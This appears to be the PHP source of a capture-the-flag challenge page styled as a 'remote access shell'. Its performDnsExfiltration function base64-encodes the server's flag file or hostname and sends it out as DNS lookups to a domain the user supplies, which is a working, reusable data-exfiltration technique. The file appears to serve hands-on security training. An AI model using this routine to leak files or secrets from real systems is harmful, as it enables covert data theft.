309 lines
8.3 KiB
PHP
309 lines
8.3 KiB
PHP
<?php
|
|
$FLAG = file_get_contents('/tmp/flag');
|
|
|
|
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
|
header('Content-Type: application/json');
|
|
|
|
$input = json_decode(file_get_contents('php://input'), true);
|
|
$hostname = $input['hostname'] ?? '';
|
|
$type_cmd = $input['type'] ?? '';
|
|
|
|
if (!is_string($hostname) || empty($hostname) || !is_string($type_cmd) || empty($type_cmd)) {
|
|
http_response_code(400);
|
|
echo json_encode(['error' => 'Invalid variable format']);
|
|
exit;
|
|
}
|
|
|
|
$sanitized_hostname = preg_replace('/[^a-zA-Z0-9.-]/', '', $hostname);
|
|
|
|
if (($sanitized_hostname !== $hostname || empty($sanitized_hostname)) || (!in_array($type_cmd, ['hostname', 'flag'], true))) {
|
|
http_response_code(400);
|
|
echo json_encode(['error' => 'Invalid variable format']);
|
|
exit;
|
|
}
|
|
|
|
if ($type_cmd === 'hostname') {
|
|
performDnsExfiltration(gethostname(), $sanitized_hostname);
|
|
} else if ($type_cmd === 'flag') {
|
|
performDnsExfiltration($FLAG, $sanitized_hostname);
|
|
}
|
|
echo json_encode(['success' => true]);
|
|
exit;
|
|
}
|
|
|
|
function performDnsExfiltration(string $content, string $hostname): bool {
|
|
try {
|
|
$checksum = substr(md5($content), 0, 3);
|
|
$value_b64 = rtrim(strtr(base64_encode($content), '+/', '--'), '=');
|
|
$query = "{$value_b64}.{$checksum}.{$hostname}";
|
|
# Perform the DNS exfiltration of the content and its checksum to the specific hostname
|
|
dns_get_record($query, DNS_A);
|
|
return true;
|
|
} catch (Exception $e) {
|
|
return false;
|
|
}
|
|
}
|
|
|
|
?>
|
|
<!DOCTYPE html>
|
|
<html lang="en">
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
<title>WebShell v2.1</title>
|
|
<style>
|
|
* {
|
|
margin: 0;
|
|
padding: 0;
|
|
box-sizing: border-box;
|
|
}
|
|
|
|
body {
|
|
font-family: 'Courier New', 'Monaco', monospace;
|
|
background: #0a0a0a;
|
|
color: #00ff00;
|
|
min-height: 100vh;
|
|
padding: 20px;
|
|
overflow-x: hidden;
|
|
}
|
|
|
|
.terminal {
|
|
max-width: 900px;
|
|
margin: 0 auto;
|
|
background: #000000;
|
|
border: 2px solid #00ff00;
|
|
box-shadow: 0 0 20px rgba(0, 255, 0, 0.3);
|
|
padding: 20px;
|
|
}
|
|
|
|
.header {
|
|
border-bottom: 1px solid #00ff00;
|
|
padding-bottom: 10px;
|
|
margin-bottom: 20px;
|
|
}
|
|
|
|
.header h1 {
|
|
font-size: 18px;
|
|
color: #00ff00;
|
|
letter-spacing: 2px;
|
|
}
|
|
|
|
.header .info {
|
|
font-size: 12px;
|
|
color: #00cc00;
|
|
margin-top: 5px;
|
|
}
|
|
|
|
.ascii-art {
|
|
color: #00ff00;
|
|
font-size: 10px;
|
|
line-height: 1.2;
|
|
margin-bottom: 20px;
|
|
white-space: pre;
|
|
opacity: 0.7;
|
|
}
|
|
|
|
.command-section {
|
|
margin-bottom: 20px;
|
|
}
|
|
|
|
.prompt {
|
|
color: #00ff00;
|
|
margin-bottom: 5px;
|
|
font-size: 14px;
|
|
}
|
|
|
|
.prompt span {
|
|
color: #00cc00;
|
|
}
|
|
|
|
.input-row {
|
|
display: flex;
|
|
gap: 10px;
|
|
margin-bottom: 15px;
|
|
align-items: center;
|
|
}
|
|
|
|
.input-row::before {
|
|
content: ">";
|
|
color: #00ff00;
|
|
font-weight: bold;
|
|
}
|
|
|
|
input[type="text"] {
|
|
flex: 1;
|
|
background: #001100;
|
|
border: 1px solid #00ff00;
|
|
color: #00ff00;
|
|
padding: 10px 15px;
|
|
font-family: 'Courier New', monospace;
|
|
font-size: 14px;
|
|
outline: none;
|
|
}
|
|
|
|
input[type="text"]:focus {
|
|
background: #002200;
|
|
box-shadow: 0 0 10px rgba(0, 255, 0, 0.3);
|
|
}
|
|
|
|
input[type="text"]::placeholder {
|
|
color: #005500;
|
|
}
|
|
|
|
button {
|
|
background: #001100;
|
|
border: 2px solid #00ff00;
|
|
color: #00ff00;
|
|
padding: 10px 20px;
|
|
font-family: 'Courier New', monospace;
|
|
font-size: 13px;
|
|
cursor: pointer;
|
|
text-transform: uppercase;
|
|
letter-spacing: 1px;
|
|
transition: all 0.2s;
|
|
white-space: nowrap;
|
|
}
|
|
|
|
button:hover {
|
|
background: #00ff00;
|
|
color: #000000;
|
|
box-shadow: 0 0 15px rgba(0, 255, 0, 0.5);
|
|
}
|
|
|
|
button:active {
|
|
transform: scale(0.95);
|
|
}
|
|
|
|
.separator {
|
|
border-top: 1px dashed #00ff00;
|
|
margin: 20px 0;
|
|
opacity: 0.3;
|
|
}
|
|
|
|
.status {
|
|
position: fixed;
|
|
bottom: 20px;
|
|
right: 20px;
|
|
background: #000000;
|
|
border: 1px solid #00ff00;
|
|
padding: 5px 10px;
|
|
font-size: 10px;
|
|
color: #00ff00;
|
|
}
|
|
|
|
.blink {
|
|
animation: blink 1s infinite;
|
|
}
|
|
|
|
@keyframes blink {
|
|
0%, 49% { opacity: 1; }
|
|
50%, 100% { opacity: 0; }
|
|
}
|
|
|
|
.footer {
|
|
margin-top: 30px;
|
|
padding-top: 15px;
|
|
border-top: 1px solid #00ff00;
|
|
font-size: 11px;
|
|
color: #00cc00;
|
|
opacity: 0.5;
|
|
}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<div class="terminal">
|
|
<div class="header">
|
|
<h1>╔══════════════════════════╗</h1>
|
|
<h1>║ REMOTE ACCESS SHELL v2.1 ║</h1>
|
|
<h1>╚══════════════════════════╝</h1>
|
|
<div class="info">
|
|
[*] Connection established...<br>
|
|
[*] DNS exfiltration module loaded<br>
|
|
[*] Waiting for commands...
|
|
</div>
|
|
</div>
|
|
|
|
<div class="ascii-art">
|
|
___ _ _ ___
|
|
| __|| \/ ||_ _|
|
|
| _| | /\ | | |
|
|
|___||_||_||___|
|
|
</div>
|
|
|
|
<div class="command-section">
|
|
<div class="prompt"><span>[root@target]</span># extract_hostname -format base64 -addCheckSum</div>
|
|
<div class="input-row">
|
|
<input type="text" id="hostname" placeholder="target.domain.com">
|
|
<button onclick="extractHostname()">EXTRACT HOSTNAME</button>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="separator"></div>
|
|
|
|
<div class="command-section">
|
|
<div class="prompt"><span>[root@target]</span># extract_flag -format base64 -addCheckSum</div>
|
|
<div class="input-row">
|
|
<input type="text" id="flag" placeholder="target.domain.com">
|
|
<button onclick="extractFlag()">EXTRACT FLAG</button>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="footer">
|
|
<span class="blink">█</span> System ready | DNS resolver: active | Obfuscation: enabled
|
|
</div>
|
|
</div>
|
|
|
|
<div class="status">
|
|
<span class="blink">●</span> ONLINE
|
|
</div>
|
|
|
|
<script>
|
|
async function extractHostname() {
|
|
const hostname = document.getElementById('hostname').value.trim();
|
|
|
|
if (!hostname) {
|
|
return;
|
|
}
|
|
|
|
try {
|
|
await fetch('/', {
|
|
method: 'POST',
|
|
headers: {
|
|
'Content-Type': 'application/json',
|
|
},
|
|
body: JSON.stringify({
|
|
hostname: hostname,
|
|
type: 'hostname'
|
|
})
|
|
});
|
|
} catch (error) {
|
|
console.error('Error:', error);
|
|
}
|
|
}
|
|
|
|
async function extractFlag() {
|
|
const hostname = document.getElementById('flag').value.trim();
|
|
|
|
if (!hostname) {
|
|
return;
|
|
}
|
|
|
|
try {
|
|
await fetch('/', {
|
|
method: 'POST',
|
|
headers: {
|
|
'Content-Type': 'application/json',
|
|
},
|
|
body: JSON.stringify({
|
|
hostname: hostname,
|
|
type: 'flag'
|
|
})
|
|
});
|
|
} catch (error) {
|
|
console.error('Error:', error);
|
|
}
|
|
}
|
|
</script>
|
|
</body>
|
|
</html>
|